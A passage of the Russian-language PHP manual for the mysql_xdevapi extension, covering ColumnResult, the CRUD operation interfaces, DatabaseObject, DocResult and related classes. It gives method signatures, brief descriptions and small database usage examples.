Устанавливает критерии сортировки

  • « CollectionRemove::limit
  • mysql_xdevapi\ColumnResult »
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • Устанавливает критерии сортировки

CollectionRemove::sort

(Информация о версии неизвестна, возможно, только в Git)

CollectionRemove::sort — Устанавливает критерии сортировки

Описание

public mysql_xdevapi\CollectionRemove::sort(string $sort_expr): mysql_xdevapi\CollectionRemove

Сортирует набор результатов по полю, выбранному в аргументе sort_expr. Разрешённые направления: ASC (по возрастанию) или DESC (по убыванию). Эта операция эквивалентна операции SQL 'ORDER BY' и соответствует тому же набору правил.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

sort_expr

Можно указать одно или несколько выражений сортировки. Применяется слева направо, и каждое выражение разделяется запятой.

Возвращаемые значения

Объект CollectionRemove, который можно использовать для выполнения команды или для добавления дополнительных операций.

Примеры

Пример #1 Пример использования mysql_xdevapi\CollectionRemove::sort()

<?php

$res = $coll->remove('true')->sort('age desc')->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс ColumnResult

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\ColumnResult {
/* Методы */
public getCharacterSetName(): string
public getCollationName(): string
public getColumnLabel(): string
public getColumnName(): string
public getFractionalDigits(): int
public getLength(): int
public getSchemaName(): string
public getTableLabel(): string
public getTableName(): string
public getType(): int
public isNumberSigned(): int
public isPadded(): int
}

Содержание

  • ColumnResult::__construct — Конструктор класса ColumnResult
  • ColumnResult::getCharacterSetName — Получает набор символов
  • ColumnResult::getCollationName — Получает имя сопоставления
  • ColumnResult::getColumnLabel — Получает метку столбца
  • ColumnResult::getColumnName — Получает название столбца
  • ColumnResult::getFractionalDigits — Получает дробную длину цифры
  • ColumnResult::getLength — Получает длину поля столбца
  • ColumnResult::getSchemaName — Получает название схемы
  • ColumnResult::getTableLabel — Получает метку таблицы
  • ColumnResult::getTableName — Получает название таблицы
  • ColumnResult::getType — Получает тип столбца
  • ColumnResult::isNumberSigned — Проверяет, является ли тип подписанным
  • ColumnResult::isPadded — Проверяет, дополняется ли

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса ColumnResult

  • « mysql_xdevapi\ColumnResult
  • ColumnResult::getCharacterSetName »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Конструктор класса ColumnResult

ColumnResult::__construct

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::__construct — Конструктор класса ColumnResult

Описание

private mysql_xdevapi\ColumnResult::__construct()

Получает метаданные столбца, такие как набор символов; создаётся методом RowResult::getColumns().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS nonsense")->execute();
$session->sql("CREATE DATABASE nonsense")->execute();
$session->sql("CREATE TABLE nonsense.numbers (hello int, world float unsigned)")->execute();
$session->sql("INSERT INTO nonsense.numbers values (42, 42)")->execute();

$schema = $session->getSchema("nonsense");
$table = $schema->getTable("numbers");

$result1 = $table->select('hello','world')->execute();

// Возвращает массив объектов ColumnResult
$columns = $result1->getColumns();

foreach ($columns as $column) {
echo "\nМетка столбца " , $column->getColumnLabel();
echo " является типом " , $column->getType();
echo " и ", ($column->isNumberSigned() === 0) ? "Неподписан." : "Подписан.";
}

// Альтернативный вариант
$result2 = $session->sql("SELECT * FROM nonsense.numbers")->execute();

// Возвращает массив объектов FieldMetadata
print_r($result2->getColumns());

Результатом выполнения данного примера будет что-то подобное:

Метка столбца hello является типом 19 и Подписан.
Метка столбца world является типом 4 и Неподписан.

Array
(
    [0] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 1
            [type_name] => SINT
            [name] => hello
            [original_name] => hello
            [table] => numbers
            [original_table] => numbers
            [schema] => nonsense
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 0
            [length] => 11
            [flags] => 0
            [content_type] => 0
        )
    [1] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 6
            [type_name] => FLOAT
            [name] => world
            [original_name] => world
            [table] => numbers
            [original_table] => numbers
            [schema] => nonsense
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 31
            [length] => 12
            [flags] => 1
            [content_type] => 0
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает набор символов

  • « ColumnResult::__construct
  • ColumnResult::getCollationName »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает набор символов

ColumnResult::getCharacterSetName

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getCharacterSetName — Получает набор символов

Описание

public mysql_xdevapi\ColumnResult::getCharacterSetName(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getCharacterSetName()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает имя сопоставления

  • « ColumnResult::getCharacterSetName
  • ColumnResult::getColumnLabel »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает имя сопоставления

ColumnResult::getCollationName

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getCollationName — Получает имя сопоставления

Описание

public mysql_xdevapi\ColumnResult::getCollationName(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getCollationName()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает метку столбца

  • « ColumnResult::getCollationName
  • ColumnResult::getColumnName »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает метку столбца

ColumnResult::getColumnLabel

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getColumnLabel — Получает метку столбца

Описание

public mysql_xdevapi\ColumnResult::getColumnLabel(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getColumnLabel()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает название столбца

  • « ColumnResult::getColumnLabel
  • ColumnResult::getFractionalDigits »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает название столбца

ColumnResult::getColumnName

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getColumnName — Получает название столбца

Описание

public mysql_xdevapi\ColumnResult::getColumnName(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getColumnName()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает дробную длину цифры

  • « ColumnResult::getColumnName
  • ColumnResult::getLength »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает дробную длину цифры

ColumnResult::getFractionalDigits

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getFractionalDigits — Получает дробную длину цифры

Описание

public mysql_xdevapi\ColumnResult::getFractionalDigits(): int

Получает количество дробных цифр для столбца.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getFractionalDigits()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает длину поля столбца

  • « ColumnResult::getFractionalDigits
  • ColumnResult::getSchemaName »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает длину поля столбца

ColumnResult::getLength

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getLength — Получает длину поля столбца

Описание

public mysql_xdevapi\ColumnResult::getLength(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getLength()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает название схемы

  • « ColumnResult::getLength
  • ColumnResult::getTableLabel »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает название схемы

ColumnResult::getSchemaName

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getSchemaName — Получает название схемы

Описание

public mysql_xdevapi\ColumnResult::getSchemaName(): string

Получает имя схемы, в которой хранится столбец.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getSchemaName()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает метку таблицы

  • « ColumnResult::getSchemaName
  • ColumnResult::getTableName »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает метку таблицы

ColumnResult::getTableLabel

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getTableLabel — Получает метку таблицы

Описание

public mysql_xdevapi\ColumnResult::getTableLabel(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getTableLabel()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает название таблицы

  • « ColumnResult::getTableLabel
  • ColumnResult::getType »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает название таблицы

ColumnResult::getTableName

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getTableName — Получает название таблицы

Описание

public mysql_xdevapi\ColumnResult::getTableName(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя таблицы для столбца.

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getTableName()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает тип столбца

  • « ColumnResult::getTableName
  • ColumnResult::isNumberSigned »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Получает тип столбца

ColumnResult::getType

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::getType — Получает тип столбца

Описание

public mysql_xdevapi\ColumnResult::getType(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::getType()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли тип подписанным

  • « ColumnResult::getType
  • ColumnResult::isPadded »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Проверяет, является ли тип подписанным

ColumnResult::isNumberSigned

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::isNumberSigned — Проверяет, является ли тип подписанным

Описание

public mysql_xdevapi\ColumnResult::isNumberSigned(): int

Получает информацию о столбцах таблицы и создаётся методом RowResult::getColumns().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если данный тип столбца является подписанным.

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::isNumberSigned()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, дополняется ли

  • « ColumnResult::isNumberSigned
  • mysql_xdevapi\CrudOperationBindable »
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Проверяет, дополняется ли

ColumnResult::isPadded

(Информация о версии неизвестна, возможно, только в Git)

ColumnResult::isPadded — Проверяет, дополняется ли

Описание

public mysql_xdevapi\ColumnResult::isPadded(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если заданный столбец дополняется.

Примеры

Пример #1 Пример использования mysql_xdevapi\ColumnResult::isPadded()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс CrudOperationBindable

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CrudOperationBindable {
/* Методы */
abstract public bind(array $placeholder_values): mysql_xdevapi\CrudOperationBindable
}

Содержание

  • CrudOperationBindable::bind — Привязывает значение к заполнителю

User Contributed Notes

There are no user contributed notes for this page.


Привязывает значение к заполнителю

  • « mysql_xdevapi\CrudOperationBindable
  • mysql_xdevapi\CrudOperationLimitable »
  • PHP Manual
  • mysql_xdevapi\CrudOperationBindable
  • Привязывает значение к заполнителю

CrudOperationBindable::bind

(Информация о версии неизвестна, возможно, только в Git)

CrudOperationBindable::bind — Привязывает значение к заполнителю

Описание

abstract public mysql_xdevapi\CrudOperationBindable::bind(array $placeholder_values): mysql_xdevapi\CrudOperationBindable

Привязывает значение к определённому заполнителю.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

placeholder_values

Имя заполнителей и значения для привязки.

Возвращаемые значения

Объект CrudOperationBindable.

Примеры

Пример #1 Пример использования mysql_xdevapi\CrudOperationBindable::bind()

<?php

$res = $coll->modify('name like :name')->arrayInsert('job[0]', 'Calciatore')->bind(['name' => 'ENTITY'])->execute();
$res = $table->delete()->orderby('age desc')->where('age < 20 and age > 12 and name != :name')->bind(['name' => 'Tierney'])->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс CrudOperationLimitable

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CrudOperationLimitable {
/* Методы */
abstract public limit(int $rows): mysql_xdevapi\CrudOperationLimitable
}

Содержание

  • CrudOperationLimitable::limit — Устанавливает лимит результата

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает лимит результата

  • « mysql_xdevapi\CrudOperationLimitable
  • mysql_xdevapi\CrudOperationSkippable »
  • PHP Manual
  • mysql_xdevapi\CrudOperationLimitable
  • Устанавливает лимит результата

CrudOperationLimitable::limit

(Информация о версии неизвестна, возможно, только в Git)

CrudOperationLimitable::limit — Устанавливает лимит результата

Описание

abstract public mysql_xdevapi\CrudOperationLimitable::limit(int $rows): mysql_xdevapi\CrudOperationLimitable

Устанавливает максимальное количество записей или документов для возврата.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

rows

Максимальное количество записей или документов.

Возвращаемые значения

Объект CrudOperationLimitable.

Примеры

Пример #1 Пример использования mysql_xdevapi\CrudOperationLimitable::limit()

<?php

$res = $coll->find()->fields(['name as n','age as a','job as j'])->groupBy('j')->limit(11)->execute();
$res = $table->update()->set('age',69)->where('age > 15 and age < 22')->limit(4)->orderby(['age asc','name desc'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс CrudOperationSkippable

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CrudOperationSkippable {
/* Методы */
abstract public skip(int $skip): mysql_xdevapi\CrudOperationSkippable
}

Содержание

  • CrudOperationSkippable::skip — Количество операций для пропуска

User Contributed Notes

There are no user contributed notes for this page.


Количество операций для пропуска

  • « mysql_xdevapi\CrudOperationSkippable
  • mysql_xdevapi\CrudOperationSortable »
  • PHP Manual
  • mysql_xdevapi\CrudOperationSkippable
  • Количество операций для пропуска

CrudOperationSkippable::skip

(Информация о версии неизвестна, возможно, только в Git)

CrudOperationSkippable::skip — Количество операций для пропуска

Описание

abstract public mysql_xdevapi\CrudOperationSkippable::skip(int $skip): mysql_xdevapi\CrudOperationSkippable

Пропускает это количество записей в возвращаемой операции.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

skip

Количество пропускаемых элементов.

Возвращаемые значения

Объект CrudOperationSkippable.

Примеры

Пример #1 Пример использования mysql_xdevapi\CrudOperationSkippable::skip()

<?php

$res = $coll->find('job like \'Programmatore\'')->limit(1)->skip(3)->sort('age asc')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс CrudOperationSortable

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\CrudOperationSortable {
/* Методы */
abstract public sort(string $sort_expr): mysql_xdevapi\CrudOperationSortable
}

Содержание

  • CrudOperationSortable::sort — Сортирует результаты

User Contributed Notes

There are no user contributed notes for this page.


Сортирует результаты

  • « mysql_xdevapi\CrudOperationSortable
  • mysql_xdevapi\DatabaseObject »
  • PHP Manual
  • mysql_xdevapi\CrudOperationSortable
  • Сортирует результаты

CrudOperationSortable::sort

(Информация о версии неизвестна, возможно, только в Git)

CrudOperationSortable::sort — Сортирует результаты

Описание

abstract public mysql_xdevapi\CrudOperationSortable::sort(string $sort_expr): mysql_xdevapi\CrudOperationSortable

Сортирует результирующий набор по полю, выбранному в аргументе sort_expr. Допустимый порядок сортировки: ASC (по возрастанию) или DESC (по убыванию). Эта операция эквивалентна операции SQL 'ORDER BY' и следует тому же набору правил.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

sort_expr

Может быть предоставлено одно или несколько выражений сортировки. Вычисление выполняется слева направо, и каждое выражение разделяется запятой.

Возвращаемые значения

Объект CrudOperationSortable.

Примеры

Пример #1 Пример использования mysql_xdevapi\CrudOperationSortable::sort()

<?php

$res = $coll->find('job like \'Cavia\'')->sort('age desc', '_id desc')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс DatabaseObject

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\DatabaseObject {
/* Методы */
abstract public existsInDatabase(): bool
abstract public getName(): string
abstract public getSession(): mysql_xdevapi\Session
}

Содержание

  • DatabaseObject::existsInDatabase — Проверяет, существует ли объект в базе данных
  • DatabaseObject::getName — Получает имя объекта
  • DatabaseObject::getSession — Получает имя сессии

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли объект в базе данных

  • « mysql_xdevapi\DatabaseObject
  • DatabaseObject::getName »
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • Проверяет, существует ли объект в базе данных

DatabaseObject::existsInDatabase

(Информация о версии неизвестна, возможно, только в Git)

DatabaseObject::existsInDatabase — Проверяет, существует ли объект в базе данных

Описание

abstract public mysql_xdevapi\DatabaseObject::existsInDatabase(): bool

Проверяет, ссылается ли объект базы данных на объект, который существует в базе данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если объект существует в базе данных, иначе false, если это не так.

Примеры

Пример #1 Пример использования mysql_xdevapi\DatabaseObject::existsInDatabase()

<?php

$existInDb = $dbObj->existsInDatabase();

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает имя объекта

  • « DatabaseObject::existsInDatabase
  • DatabaseObject::getSession »
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • Получает имя объекта

DatabaseObject::getName

(Информация о версии неизвестна, возможно, только в Git)

DatabaseObject::getName — Получает имя объекта

Описание

abstract public mysql_xdevapi\DatabaseObject::getName(): string

Получает имя объекта базы данных.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя объекта базы данных.

Примеры

Пример #1 Пример использования mysql_xdevapi\DatabaseObject::getName()

<?php

$dbObjName = $dbObj->getName();

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает имя сессии

  • « DatabaseObject::getName
  • mysql_xdevapi\DocResult »
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • Получает имя сессии

DatabaseObject::getSession

(Информация о версии неизвестна, возможно, только в Git)

DatabaseObject::getSession — Получает имя сессии

Описание

abstract public mysql_xdevapi\DatabaseObject::getSession(): mysql_xdevapi\Session

Получает сессию, связанную с объектом базы данных.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Session.

Примеры

Пример #1 Пример использования mysql_xdevapi\DatabaseObject::getSession()

<?php

$session = $dbObj->getSession();

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс DocResult

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\DocResult implements mysql_xdevapi\BaseResult, Traversable {
/* Методы */
public fetchAll(): array
public fetchOne(): array
public getWarnings(): Array
public getWarningsCount(): int
}

Содержание

  • DocResult::__construct — Конструктор DocResult
  • DocResult::fetchAll — Получить все строки
  • DocResult::fetchOne — Получить одну строку
  • DocResult::getWarnings — Получить предупреждения с последней операции
  • DocResult::getWarningsCount — Получить количество предупреждений с последней операции

User Contributed Notes

There are no user contributed notes for this page.


Конструктор DocResult

  • « mysql_xdevapi\DocResult
  • DocResult::fetchAll »
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Конструктор DocResult

DocResult::__construct

(Информация о версии неизвестна, возможно, только в Git)

DocResult::__construct — Конструктор DocResult

Описание

private mysql_xdevapi\DocResult::__construct()

Получить результаты и предупреждения документа, создаётся CollectionFind.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования DocResult

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Возвращает объект DocResult
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->limit(1)
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Получить все строки

  • « DocResult::__construct
  • DocResult::fetchOne »
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Получить все строки

DocResult::fetchAll

(Информация о версии неизвестна, возможно, только в Git)

DocResult::fetchAll — Получить все строки

Описание

public mysql_xdevapi\DocResult::fetchAll(): array

Получить все результаты из результирующего набора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив со всеми результатами из запроса; каждый результат - это ассоциативный массив. Если нет строк результата запроса, то возвращается пустой массив.

Примеры

Пример #1 Пример использования mysql_xdevapi\DocResult::fetchAll()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Возвращает объект DocResult
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

var_dump($result->fetchAll());
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {

  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000123"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }

  [1]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000122"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }

}

User Contributed Notes

There are no user contributed notes for this page.


Получить одну строку

  • « DocResult::fetchAll
  • DocResult::getWarnings »
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Получить одну строку

DocResult::fetchOne

(Информация о версии неизвестна, возможно, только в Git)

DocResult::fetchOne — Получить одну строку

Описание

public mysql_xdevapi\DocResult::fetchOne(): array

Получить один результат из результирующего набора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Результат в виде ассоциативного массива, либо null, если результатов нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\DocResult::fetchOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Возвращает объект DocResult
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

var_dump($result->fetchOne());
?>

Результатом выполнения данного примера будет что-то подобное:

array(4) {
  ["_id"]=>
  string(28) "00005b6b53610000000000000125"
  ["age"]=>
  int(42)
  ["job"]=>
  string(6) "Butler"
  ["name"]=>
  string(8) "Reginald"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить предупреждения с последней операции

  • « DocResult::fetchOne
  • DocResult::getWarningsCount »
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Получить предупреждения с последней операции

DocResult::getWarnings

(Информация о версии неизвестна, возможно, только в Git)

DocResult::getWarnings — Получить предупреждения с последней операции

Описание

public mysql_xdevapi\DocResult::getWarnings(): Array

Получает предупреждения от последней операции с MySQL-сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов с предупреждениями, вызванных последней операцией. Каждый объект содержит поля 'message', 'level' и 'code'. Возвращает пустой массив, если нет ошибок.

Примеры

Пример #1 Пример использования mysql_xdevapi\DocResult::getWarnings()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Возвращает объект DocResult
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

if (!$result->getWarningsCount()) {
echo "Произошла ошибка:\n";
print_r($result->getWarnings());
exit;
}

var_dump($result->fetchOne());
?>

Результатом выполнения данного примера будет что-то подобное:

There was an error:

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Something bad and so on
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Something bad and so on
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получить количество предупреждений с последней операции

  • « DocResult::getWarnings
  • mysql_xdevapi\Exception »
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Получить количество предупреждений с последней операции

DocResult::getWarningsCount

(Информация о версии неизвестна, возможно, только в Git)

DocResult::getWarningsCount — Получить количество предупреждений с последней операции

Описание

public mysql_xdevapi\DocResult::getWarningsCount(): int

Возвращает количество предупреждений, вызванных последней операцией. В частности, эти предупреждения вызываются сервером MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество предупреждений с последней операции.

Примеры

Пример #1 Пример использования mysql_xdevapi\DocResult::getWarningsCount()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Возвращает объект DocResult
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

if (!$result->getWarningsCount()) {
echo "Произошла ошибка:\n";
print_r($result->getWarnings());
exit;
}

var_dump($result->fetchOne());
?>

Результатом выполнения данного примера будет что-то подобное:

array(4) {
  ["_id"]=>
  string(28) "00005b6b53610000000000000135"
  ["age"]=>
  int(42)
  ["job"]=>
  string(6) "Butler"
  ["name"]=>
  string(8) "Reginald"
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Exception

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Exception extends RuntimeException implements Throwable {
}

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Executable

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Executable {
/* Методы */
abstract public execute(): mysql_xdevapi\Result
}

Содержание

  • Executable::execute — Выполняет утверждение

User Contributed Notes

There are no user contributed notes for this page.


Выполняет утверждение

  • « mysql_xdevapi\Executable
  • mysql_xdevapi\ExecutionStatus »
  • PHP Manual
  • mysql_xdevapi\Executable
  • Выполняет утверждение

Executable::execute

(Информация о версии неизвестна, возможно, только в Git)

Executable::execute — Выполняет утверждение

Описание

abstract public mysql_xdevapi\Executable::execute(): mysql_xdevapi\Result

Выполняет утверждение из операции сбора или запроса таблицы; эта функциональность разрешена для цепочки методов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Один из объектов Result, например, Result или SqlStatementResult.

Примеры

Пример #1 Примеры использования execute()

